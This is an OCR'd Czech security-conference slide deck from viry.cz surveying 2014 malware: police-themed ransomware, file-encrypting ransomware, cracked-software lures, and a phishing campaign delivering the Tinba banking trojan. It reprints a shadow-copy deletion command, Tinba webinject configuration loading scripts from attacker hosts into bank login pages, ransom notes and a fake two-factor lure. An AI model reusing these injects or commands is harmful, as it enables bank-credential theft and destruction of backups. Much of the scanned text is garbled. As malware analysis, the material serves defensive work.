Havét 2014

lgor Hak, igi@viry.cz




Dnesni havét

_havét domaci“ (ransomware, ...)
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,Havét domaci“, co (stale) plati

uzivatel je nejslabsim clankem
oblbovacky ve formeé socialniho inzenyrstvi
jistota uspéchu, presto financné nenarocne
vs hledani 0-day exploitl

dva extrémy haveéti
- ticho a klid
- chaos
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...kdyz se haveét’ stava obéti !




,Havét domaci“, co (stale) plati
nekonecny boj vyvojari havéeti vs vyvojari AV

soustredéni ,vyrobcu“ na aplikace / platformy
s vetsim podilem na trhu:

Windows (vs Linux Desktop)

MAC OS X na vzestupu

Microsoft Office (Word, Excel, PowerPoint, ...)
Adobe *, Oracle Java - multiplatformni

VIRY.CZ

...kdyz se haveét’ stava obéti !




Java Setup - Progress

= Java o

Status:  Installing Java
BEEEREEEEEREEEEREENEEREENERRENNEREENEEREEEEE

3 Billion Devices Run Java

ORACLE




ORACLE
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Get Facebook. status updates directly in pour browser, listen to top radio stationz, and get easy
access bo search and weather. The Search &pp by Azk inztalls in Firefos.

EEARCH APPLICATION EWD USER LICEMSE AGREEMEMNT "
Thiz Search Application End Uszer Licenze Agreement [Agreement’), applies to web zearch ¥
applications [each a "Search Application''] developed by or for AP, LLC ["AFPMN", Mwe" or .

1

W Setdzk as my default search provider

W SetAzk com as my browser home page and new tabs page

By chcking "MNest' and inztaling the Search App by Azk, pour uze iz zubject to the Azk.com
Term: and Conditions and Privacy Policy. The Search App by Ak 1z a product of AFM, LLC.

De-zelecting bath of the checkbores: above declines thiz optional 2earch offer and procesds
with the rest of the install process.

Cancel Meut »

T .



"€ Windows Live - Windows Internet Explorer =]
@ O v ’:f' http://www.live.com/ v | +5 | X ' l Google g V|

File Edit View Favorites Tools Help

@Alexa‘lv” I[Q.Searchlv} [EInfol:] g Netvibes e Micreseft Corperation e Flickr ¢ YWerdPress ¢ delicic.us ¢ QCB

DUGPILE ~ 4 Web Search v IT;-':ve Search Here zl Fetch go blocked v | @NE\»S ds Hot Despite Cooling Market |v | Z=Yellow Pages | & White Pages

@ v | pSearchWeb v :] Highlight g PopSwatter E;;MyStuff .ﬂ'SignIn ﬁ)anom & News v é'Weather ?
@ >Dap §liOptions || Softwa ~ | L@ onl o fes & 2 @B ~ B SB0APDive ~
Y! vy @~ [ v |-|SearchWeb E| & B~ &~ @Mail ~ @MyYahoo! v @Answers v QFantasySports v %Hockey v »

altavista E] &P Searchthe Web v | (3Translate | 554 Highlight ll ¥ Last Search
AOLE v O > 4|)}-§e;cqui} e ~ @ vQ Top Stories (6) ¥ (&) Investng v [“& Games v [E5 Sports (10) v &4 AOLRadio (® MapQuest v
S mamma -~ 0[ Z!] JOsearch Web {BNews [&]Images | Rpadvanced search | & 1
wordz Lookup: I In: IQ Dictionary L] % Lookup

b Search SEO PPC Links Favorites Shopping GBak & v © 4 @m0 g & o
* v J'Search v 12345 & o 4 |dh AftaVista Google LookSmart MSN Slider Teoma Yazhoo | d Encyclopedia {3 » O
{%Bglesnfﬂv v QSearch v Eh v My Resume v &Free Reviews v aFree Resources v ‘g
GoodSearch 7| 7o by YAH0O0! SEARCH E] @Search | My Charity: < Click 'My Charity' to select E' Clear Selection | ;’Highlight iﬁpopup Blocker On:O]

ispiderPilot.com ~ ~ @l | specal offer ~ | % | (3 Block popups |

Google G+ Go {p @) E i Q Bockmarksw Fagefiank SIO blocked ‘ A? Check v § Autolink v '=| ZutoFill l! Sendtov Settingsv

umm v QWeb Search v IT‘,-'C'E Search Here l”'l‘he Web _v_| Go | ] ﬂ)erations to Resume Friday e Iranlv | Z=Vellow Pages | & White Pages
mywebsearch vl ‘}'3 Search iv ) Smiley Central @ Screensavers P Cursor Mania PopSwatter @ Fun Cards v 7
T— — »

Wk ‘:j' Windows Live ’ ’ - v (b v |:-bPage v (} Tools v
- z %
Options | @Personalize page |_

Live Search
I kA =
Done € Internet | Protected Mode: Off #100% ~

Ve Hm eV s ©) 3 Firefox % Windows... |

\ XN )\
\\ \

/2 2 Intern... vl ; O lil 6‘ s 9:35PM

S¢X-Chat(1.. | 8 partd-N.. |"AY ie7messl..




...kdyz se havét’ stava obéti !




Ransomware

socialni inzenyrstvi

,zaplat nebo té nepustim dal“ (...i kdyz zaplatis)
,policejni virus”

exploitace diry v Java

nékolik verzi, zacCinalo se na 2 000 K¢ / 48 hodin
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...kdyz se havét' stava obéti !




,Policejni virus”

{ CESKE REPUBLIK

POLICE

Pozor!

IP:”
umisténi: CZ,Czech Republic,Prague

Pozor! Vas pocitac je zablokovan kvuli alespon jednoho z divodd uvedenych nize.

Byli jste poruSeni «autorského prava a souvisejicich prav» (Video, Hudba, Software) a
nedovolené pouziti nebo distribuci obsah chranény autorskymi pravy, a tim porusily
¢lanek 128 trestniho zakoniku Ceské Republiky.

Clanek 128 trestniho zakoniku stanovi pokuty 2-5 sto minimalni mzdy nebo zbaveni
svobody pro 2 az 8 let.

8yli jste chyceni u prohlizeni nebo distribuci zakazane produkce pornografickym obsahem . i)
(Détska pornografie / Zoofilie a atd.). A tim porusujete clanek 202 trestniho zakoniku kaSh a pagsafe Card
Ceské Republiky.

Clianek 202 trestniho zakoniku stanovi odnéti svobody na 4 aZ 12 let. Code Sum

Protipravni pfistup k poditadovym Gdajim byl zahdjen z pocitace, nebo jste byli ...

124131 4|15 |l6|l7]||8]l9]l0 y
Clanek 208 trestniho zakoniku stanovi pokutu aZ do vyse CZK 100.000 a / nebo odnéti -

svobody po dobu 4 a2 9kt PR ™~
—

Protipravni pistup byl zahajen z vaseho pocitace bez vaseho védomi nebo souhlasu,
muze vas podita infikovan Skodlivym softwarem, tak jste porusil zikon o zanedbané Kde mohu koupit Ukash?

a obéti !




Poli

cejni virus®, verze 2

zdrazeni na 3 000 K¢, nastésti do 72 hodin
kvalitni preklad
navyseni poctu trestnych cinu

poruseni autorského prava, sSireni detské
pornografle podpora terorismu, sireni skodllvych

pro

gramu, pou2|t| nelegalnlho software zneuziti

platebni karty, sireni spamu
Jisténi” ze strany bezpecnostnich firem

(zah

avi)

IP adresa + lokalita dle GeolP + foto z

webkamery

...kdyz se haveét’ stava obéti !



,Policejni virus®, verze 2

CESKA REPUBLIKA PoLICIE g Vate P adresa:
UsTtav polfTaCové TRESTNE CINNOST! i #¢' 4f.. - Vs poskytovatel internetového pfipojeni:

h‘" Umisténi:

————
-

AL VAS POCITAC JE ZABLOKOVAN

Provoz Vaseho potitate je pozastaven z divodu neopravnéné cinnosti.

NiZe jsou uvedena mozna naruseni:

$lanekd— 174. Autorské pravo
rest odnéti svobody na 2 aZ 5 let (Pouziti nebo 3ifeni aut Y
e 16000 a3 23 080 Lk i autorskych dél) Pokuta ve

Clanek - 183. Pornografie
Tresg oq)nésl ‘s‘vobody na 22 az (3)0rgky (Pouziti nebo sdileni pornografickych
soubord). Pokuta ySi 250 Z 4

uta ve vySi 25! aZ 400 000 CZK. Chcete-li odblokovat potitaé a uniknout pfed trestni

Clanek - 184. ZneuZiti ditéte (do 18 let) k vyrobé pornografie odpovédnosti, musite zaplatit pokutu ve vysi
Trest odnéti svobody na 10 az 15 let (Pouziti nebo sdileni pornografickych

soubory). Pokuta ve w3i 400 000 a2 800 000 CZK.

Clanek - 104. Podpora terorismu
Trest odnéti svobody do 25 let bez prava na odvolani (Navitéva webovych
stranek teroristickych organizaci). Pokuta ve wySi 650 000 aZ 850 000 CZK s

konfiskaci majetku. . o

e . kash @ paysafe
Clanek - 68. Sifeni virovych programd L ;
Trest odnéti svobody do 2 let (Vytvoreni nebo Sifeni vnrogch programd, které
zplsobf skodu na jiné potitate). Pokuta ve vy&i 300 000 az 500 000 CZK.

#lanek - 113. PouZiti nelicencovaného software £
Trest odnéti svobody do 2 let (PouZitl nelicencovaného software). Pokuta ve vy3i
200 000 aZ 400 000 CZK.

lanek - 99. Podvod s platebnimi kartami T
Trest odnéti svobody do% let (Transakce s. pouZitim platebni karty nebo jeji Gdajd, =

ktera nebyla zahajena nebo potvrzena drzitelem Karty). Pokuta ve vysi 520 000 i 4

a7 950 000 CZK s konfiskaci majetku. vuUTVRZENI

Clanek - 156. SffenidSPAlMu(g, orno Arha‘ﬁck‘y;én obf_'a';’:;'y,‘m e
Trest odnéti svobody do 2 let Giren! u s pornogran hem : s . >
pr ‘:?edrlxicwim e-:wyailo a socialnich siti). Pokuta ve vi 350 000 47:52:52

680 000 CZK.
Kde st mazu koupit Ukash

oENE s vYUZITiM VASEHO potitale, sy e':va
ZeTNE FOTOGRAFIl A VIDEA Z weBovE
pROHLIZEN PORNOGRAFIE S =

Zxené PROTIPRAVNI EINNOSTI, PROVA
uLOZENY DO POLICEINI DATABAZE, A TO V!
MERY PRO IDENTIFIKACI 0S08Y. BYLO OBJEVENO

LETILYCH 0S08.

=
=




,Policejni virus®, verze 2

<vuruugiu nelceny

jeji udajq,
520 000

Clanek - 156. SiFeni SPAMu s y

: 156. ! ‘s pornografickym ob.

Tre fedd?':p svobody do 2 l.et c.$|fgm SPAMu skgornoqsraagsk"\?m obsahem
OC-S Czra.emallu a sodidlnich siti). Pokuta ve w3i 350 000

Vesrfem: PROTIPF\AVNI’]C!NNOSTI. PROVADENE S vYUZITiM VASEHO POZITACE, BYLY
ULOZENY DO POLICEINI DATABAZE, A TO VEETNE FOTOGRAFI A VIDEA Z WEBOVE

KAMER’Y PRO IDEbllTlFIKACI 0soBY. ByLo oBseveno PROHLEZENI PORNOGRAFIE S
UCASTI NEZLETILYCH OSOB.

Videoz&znam:

V souvislosti s rozhodnutim viddy ze dne 04. prosince 2012, vechna vyse uvedena poruseni
jsou povazovana za trestny &inv piipadé nezaplaceni pokuty.

ySe pokuty Zinl , cZ¥. Pokuta musf bytzaplacena do 48 hodin od zablokovani
:yotftapée Vt;flpadé nezaplaceni proti V&m bude zahajeno trestni fzeni bez rménos‘tlac .
zaplaceni pokuty, va3 potitaZ bude zkonfiskovan operadni sluzbou pro boj proti podit gv
trestné Zinnosti. V déstedky, Vas pFipad bude FeSen dle wyie uvedenych &lankd, coZ maza
nésledek pokutu ve vy3i od 160 000 CZK a uvéznénl.

Po zaplacen! pokuty V&3 potitot bude odblokovan.

2% ofensot o i o v

Brtdetender

McAfee =M

‘. COMODO
G.% Lol »

Ukash je k dostini online, e-penéienkach, trafikich a bankomatech po celém svété
|
|
| Vyméiite penize za Ukash kupén a zadejte kéd k

STITY

Status- Cekani na platby

47:53:10

Kde sl mdzu koupit Ukash

e prosim na vedom

Vezm pokuta mlzZe byt zaplacena pouze do 48 hodin, Pokud neb
platba provedena do 48 hodin, odblokovéni poéitaée nebude mozné. V tomto piipadé proti Vam
automaticky bude zahajeno trestni Fizeni.

a
@ SOPHOS D e o TRENe

2] S3fenSoft



JPolicejni virus®, verze ,pussy”

SluZba Kriminalnf Policie a Vy3etfovani
Utvar pro Boj proti Kyberkriminality

emé: CZ Czech Republic

Mésto:

ISP:

Operacm System: Windows 7 (64-bit)
Jmeno:

VAROVANI! Vas osobni pocitac je uzamcen z bezpecnostnich duvodu z
nasledujicich divodu:

Jste obvinén z prohbliZeni/skladovini a/nebo distribuce pornografickych materisls zakizino obsabu
(détskia pornografiesZvifeckost atd.). Ze jste porudil Vieobecnou deklaraci o boji proti 3ifeni
détské pornografie a obvinén z trestného &inu podle élanku 161 trestniho zakoniku Ceské republiky.

Clanek 161 testniho zékoniku Ceské republiky stanovi jako trest odnéti svobody v trvani 5-11
rokd.

Také jste osoba podezfela z poruSeni “zakon o autorském pravu a pravech souvisejicich s
pravem” (stahovani piratské hudby, videa, bez licence software) a pouZiti a/nebo 3ifent obsahu
chranéného autorskymi pravy. Tim jste osoba podezreld z porufeni danku 148 trestniho zékoniku
Coské republiky.

Clanek 148 trestniho zakoniku Ceskeé republiky, musi byt trest pokuta 150 a2 550 zakladnich
jednotek nebo odnétim svobody na dobu 3-7 rokd.

S vedeho pocitace byl proveden neopravnény pfistup k omezenému pfistupu vefejnosti k
Informacim a informacim narodntho vyznamu na internetu.

RRRRRARRE L T~ | -y

Zbyvajici cas: 47:59:53

@paysafe s (Dkash

PIN Kod Hodnota
2000 .L'
1 HRAR NS St 6 E7R LG B2 || O

Zaplatit PaySafeCard Zaplatit Ukash

Kde mohu ziskat penezni poukazku
PaySafeCard?

PaySafcCard mifod naprosto bempedné zakoupit vo tvé
blizkosti, v Ceské republice napf. v fadé novinovych
stankd & trafik v uvedenych dasech. PaySafelard j& k
dostdnd v mnoha supermarketech, na Lerpacich
stanicich. Prehled prodejcd: Tipsport, ReBIN OIL,
Zabka, PAPOIL, JPSenis, Euro Gil, Shell, Agip, OMV.
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1avét’ stava obéti !



...kdyz se havét’ stava obéti !




Pokrocilejsi ransomware

Sifrovani souboru na disku
jpg, mp3, docx, xlsx, ...
klic natvrdo v téle havéti - Win32/Harasom.A

cast klice natvrdo v téle + proménliva cast (treba v
podobé nazvu souboru)
klic urcen az na PC uzivatele a poté smazan (resp.
~zalohovan® u utocnika)

jak kvalitné smazan? ©

vyuziti bitcoinu jako platidla

~\ -
\)

VIRY.CZ

...kdyz se haveét’ stava obéti !




;-; \ MMON { ,".'f/:;:///;‘/’ . 1 /f’,f'} >4 ‘h_?’,',',/;' :
EVERITHING ON YOU COMPUTER HAS BEEN FULLY ENCRYPTED ‘ ‘;/’i' ‘ - :

THE UNITED STATES

A-JOURIQQM%UIER‘LHASEBEEN5'—’09'(50“@ DEPARTMENT of” JUSTICE @_&Qﬂ.ﬁﬁ@@mEUTEB#ASABEENBLQGKEQ_A®

All activities of this computer has been recorded. All your files are encrypted.
Don't try to unlock your computer! 2 ; =
MoneyPak .?05‘ Vanilla | - RElIoadit.

This PC is Blocked due to at Least one of the specified below. NOTE: You have 72 hours left to enter your payment

You possess unlicensed software and pirate audio and video records. Enter code:

m sVarsla RE loadit) |
went, including infringament withowt monetary gain, is i igated by the FBI and Is Enter Your Email:

* Enter valid email address

lllegal access has been initiated from your PC without your knowledge or consent, your PC
may be infected by malware, thus you are violating the law on Neglectful Use of Personal

WHERE CAN | BUY MONEYPAK
[RITE | ii

Computer. Games"'n g!acsy “"K” w meljer

Walyreens CEXY Walmart

: : WHERE CAN | BUY VANILLA
You are a distributor of pornography and porno materials, regularly watch porno sites with

&
child pornography and zoophilia. cVsS 823m ) Walmart TOURS w‘z@mj,

ENERCY
pharmacy O

office it o/ FAMILY® DOLLA MURPHY

DEPOT  GENERAL ot USAx4

e 0. 2 |
TravelCenters
of America

51 makes it WHERE CAN | BUY RELOADIT

CARRS srewarey GENUARDIS (6 VONS
 Tackoral iz CVS  PAVILIONS Dominick's

pharmacy

law
IS Inevital
To unlock your computer and to avoid other legal consequences, you are obligated to

In connection with the decision of the Government as of January 26, 2013, all of the violations pay a release fee of $100.

described above could be considered as criminal. If the fine has not been paid, you will become :
the subject of criminal prosecution. The fine is applicable only in the case of a primary violation. " un
In the case of second violation you will appear before the supreme Court of the USA. 1. Find a reti

with cash. A service fe of up to $4.85 will apply.
3. To pay fine, you should e the digits MoneyPak/Vanillareload/REloadit resulting code in the
payment form and press Pay MoneyPak/Vanillareload/REloadit.

ALL ILLEGAL ACTIVITIES CONDUCTED THROUGH YOUR COMPUTER HAVE BEEN RECORDED
IN THE POLICE DATABASE, INCLUDING PHOTOS AND VIDEOS FROM YOUR CAMERA FOR
FURTHER IDENTIFICATION.

Video Recording: * Q

Audio Recording: | * SN



Pokrocilejsi ransomware

Win32/Filecoder.Q
,obalka” MSIL/Injector.FHB

cast klice natvrdo v téle + promeénliva cast
definovana nazvem sSifrovaného souboru

obrovské mnozstvi variant lisici se pouze v klici -
existence generatoru této haveti

-\ r
2

VIRY.CZ

...kdyz se haveét’ stava obéti !




Pokrocilejsi ransomware

cisté na bazi socialniho inzenyrstvi
typicky vektor Sireni v CR - uloz.to:

office crack”
~windows crack"”




o,

Uloito Uloito LIWVE |} Darujkredit Prihlasit Reqistrace gl Cenik kreditu | Mahrat soubory -

X,

Office 2013 crack cz 100%funguje.exe

reklamni zdéleni

reklama ETARGE
Pujcka ai 800,000 K& o
Bez ruceni nemovitosti.
,‘. ‘ W Memusie predem spofit.
. ~ Soubor

Crack
Fripojujete se na na vefejné o
73.73kB Wi-Fi? Qchrafite se s novou
Verzi,
Centralni vysavani Husky
pro rodinné domy, byty, o
kancelare, suché i mokré
vysavani, doZivotni zaruka.

& @ 0 1 KopirovatdoOblibenjch | [ Sdilej .4

%

N Shozy pradla o
L AL ’ Sho radla - moderni fegeni
& DE:JIJIIULJEJ o

pro rodinné domy a penziony.

reklamni sdéleni

Podobné soubory

Vit o
oy TuneUp Utilities 2013 +crack
‘ FINAL 100% PISKOTKA.exe
Simpsonowi: Think Gum Mluvici dalkowy TV Test Pol2taF  Sound machine . Soubor

Makuoni tagka ovladad muzd — 30,23 MB m

Tunelp Utilities 2013 +crack

Pro moZnost komentovat se musig nejprve pfinldsit Pokud nema& jméno a heslo, reqgistruj se. FINAL 100% PISKOTKA.cxe o

y
B Ssoubor

- =
a0 7 M r
30.83 MB '-—vm |
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YIRUS CRYPTOLOCKER +

YSECHMA DATA ZASIFROVANA 204Sbitovou SIFROU!N IpdF*fatky*txt*rar*atd. ..
MAS POUZE 15 POKUSU ZADANI KODU PRO DESIFROVANI POTOM SE DATA
ZNICTHNENAYRATNE

ZAPLAT 3000kc NA TENTO UCET

Bitcoin : 14KmxKraUIFMal159tv22xiulFpdCyrpSy

PRI PREVODU UYED YLASTNI EMAIL

HMNED POSLEME DESIFROYACI HESLO!!

VSE BUDE ZASE OK

SO R SRR LR R
3000k NEBO PRIDES O DATA FOTKY YSEChRNO!!!
14KmxKraUIFMal159tv22xiuIFpdCyrpSy

MAS POUZE 15 POKUSU ZADANI KODU PRO DESIFROVANI

sefokstokokokokokkkokok ok okoksoRok ok tokk ok kol ok toloksolok okokokskokkokokokog

OK '
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My Computer

2kd
|

Adobe’REgue)
9. Ink.Z&5TR

HOW TO
DECRY...

Mozilla
Firefox.Ink.Z..,

~
&

Recycle Bi

| +y Start
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My Computer

f
2kd

Adobe Reader
9.Ink.zasifra...

HOW TO
DECRY...

ok

Mozilla
Firefox.Ink.z...

HOW TO
DECRY,..

':: start

\‘\\ \\

v

Recycle Bin
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Pokrocilejsi ransomware
zalohy v ohrozeni, pokud jde o disk pripojeny

pod pismenem
RAR/ZIP nemusi byt mezi Sifrovanymi prilohami

SynolLocker

RAID1 neni zaloha




Pokrocilejsi ransomware

"C:\Windows\Sysnative\vssadmin.exe" Delete
Shadows /All /Quiet

zalohy ze shadow copy jen u starsich verzi

,operace Tovar” (starsi cryptolockery) -
www.decryptcryptolocker.com
vektor Sifeni: hlavné formou massmailu

zajimavé politiky (GP):
http:/ /www.bleepingcomputer.com/virus-
removal/cryptolocker-ransomware-information

VIRY CZ

A
...kdy havet’ stava obéti !



http://www.decryptcryptolocker.com/

...kdyz se havét’ stava obéti !




JExekucni prikaz"”

VYZVA K UHRADE DLUZNEHO PLNENI PRED
PROVEDENIM EXEKUCE

Soudni exekutor Mgr. Ing. Jiri Prosek, Exekutorsky
urad Plzeri - mésto, IC 87560921, se sidlem
Rychtarikova 15, 336 00 Plzen povereny
provedenim exekuce. c.J. 22 EXE 233/2014 -18, na
zadklade ustanoveni: Prikaz c.f. 066457/2014-
416/Cen/G V.vyr., vds ve smyslu §46 odst. 6 z. ¢

S v I

120/2001 Sb. (exekucni rad) v platnem zneni
vyzyvad k splneni oznacenych povinnosti...

VIRY.CZ

...kdyz se haveét’ stava obéti !




JExekucni prikaz"”

n \/ 7/

Zatim nejpropracovanéjsi utok na uzemi CR

V priloze ,exekucni prikaz" (EXE v ZIPu)

EXE dropne CAB a otevre RTF dokument -

smlouva mezi krajem Vysocina a Jihlavskou
nemocnhici

7 minut neaktivni pred dalsi cinnosti

=\

VIRY.CZ

...kdy havet’ stava obéti !




JExekucni prikaz”

download bankovniho trojanu Tinba

nastaveni pro tunelovani uctu v:
Ceska spofitelna
CSOB
ERA
FIO

injektaz skodliveho JS skriptu do webu banky

nahrazeni prihlasovaciho dialogu do bankovnictvi
faleSnym - zasilani pristupovych udaju uto¢nikovi
(HTTP PUT) = 1. faktor autentizace ,poresen”
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JExekucni prikaz"”

2. faktor autentizace ,poresen®

Vazeni kliente!

CSOB as zavadi systém dvoufaktorové autentizace: CSOB OTPdirekt. Oproti standardnimu ovéfovani pomoci hesla, pouziva CSOB OTPdirekt
dva mechanismy. Jeden je "néco, co uzivatel zna" jako je heslo a "néco, co uzivatel vlastni™ typicky mobilni telefon. V kombinaci poskytuji
dokonalejdi zabezpeteni pfistupu k datim. Je potfeba stahnout a nainstalovat aplikaci CSOB OTPdirekt na mobilni zafizeni, pak vygenerovat a
vstoupit jednorazové heslo, které zaruci plnou ochranu Vaseho uétu.

Prosim, postupujte podle pokyni.

FIREMNI DATA

JEDNORAZOVE POCITAC
HESLO UZIVATELE

Telefonni ¢islo: -

Vyberte operacni systém vaseho telefonu.
Po vibéru, Vam bude zaslana SMS, ktera obsahuje odkaz na stahnuti aplikace OTPdirekt.

=
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- s « P
ANDROID: Samsung, HTC, LG, Motorola, [ ] b

Nexus, Prestigio, etc i0S: Apple iPhone iavét’ stava obéti !




JExekucni prikaz"”

Servis24 OTP direkt CSOB OTP direkt

SERVIS+24 N

INTERNETBANKING

OTP heslo

Vygenerovat heslo

OTP heslo

Aktualizovat

@ €506, 2014
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Pod lupou

Tinba bank stealer

uplatnéni Man in The Browser (MiTB) utoku
inject iexplore.exe
PR_CLOSE, PR_READ, PR_WRITE
inject firefox.exe

HttpQuerylnfoA, HttpSendRequestA, HttpSendRequestW,
InternetCloseHandle, InternetQueryDataAvailable,
InternetReadFile

jednoducha konfigurace
data_before, data_inject, data_after
nepotrebuje HTTP proxy (Hesperbot)

~\ -
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Pod lupou

Tinba stealer

set_urlfhttps://www.servis2h.cZz/ebanking-s24= GP

data_before
<headx>
data_end

data_inject

{script type=""text/javascript”™ src="https://fandry-shop.com/js/jquery-1.7.1.min.js">{/script>

{script type="text/javascript”>var holderbotid = "%BOTUID%";</script>

{script type="text/javascript>document.write{ <{scr’+'ipt type="text/javascript™ src=""https://andry-shop.com/gate/get_html?js="+Hath.random(}+ ">
data_end

data_after
data_end

data_before
<body
data_end

data_inject
style=""display:none"
data_end

data_after
data_end

set_urlfhttps://muj.erasvet.cz/prihlasen= GP |

data_before

<head>

data_end

data_inject

{script type="text/javascript™ src="https:/fyourfashionstore.net/panel/g7mhzFIlz47/?Getifile" id=""MainInjFile" host="yourfashionstore.net” link=""/p
id="SuppInjFile'">{function{}{try{var x=document.getElementByld{"HainInjFile"};x.parentHode.removeChild{x);}catch{e}{}tryf{var x=document.getElement
data_end

data_after

data_end

set_urllhttps:lfmuj.erasuet.cziklient!uitejte—kliente GPI

Y\ \ \ \ \NNAN




Pod lupou

Diky MiTB maskovany i utocnikovi transakce,
pripadné zustatek na uctu!

vyuziti jQuery

nahrazeni / vynechani spravnych ,divu“ dle ID

Malware as a Service
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W AQMMHWCTPETHEHEIN pasaer X

<« C' [} 89.45.14.98/cp/builder.php v @ =

Accédez rapidement & vos favoris en les gjoutant & la barre de favoris, Importer mes favoris maintenant. ..

naeHoe meHw

Ofwas cTaTMCTMRA
TenedoHs

Mouck no cic

Ornpaeka komaHg

Hecropua komaHg

NpuaoxeHna

Crnucok npunomeHmui

Cozgate npuAcHEHWS

HacTpolikk gna npunomeHwi

Hactpofikk agmvH. pazaena

BuiiiTi

COSAEHHH NpHUAoXKeHHA

Wma daiina {aHrn.): |

Artveen: Aa  Her

Howmep Tenedona: |

App name:|

Service name:|

MNepeoe obpaweHne yepes: MMHYT
MNocaegyowme ofpalleHKa: HMHYT

Cepeep: |

DofasnTe cepaep

prha—

micken

123456

8 Cotna i e Depinen & 2
":' mT mTcken
[ 123456 123456
mioken
1234670 | | ' T
+4u« GERAR cmu
GERAR

SABB X Sl Enﬂ
1 n micken micken
123456 | | 123456

[

o
i

g_[
£Z

a obéti !




Pony password stealer

,Pony stealer takes $220k worth of
Cryptocurrency”

mala prakticka ukazka ©




Deékuji za pozornost!
lgor Hak, igi@viry.cz




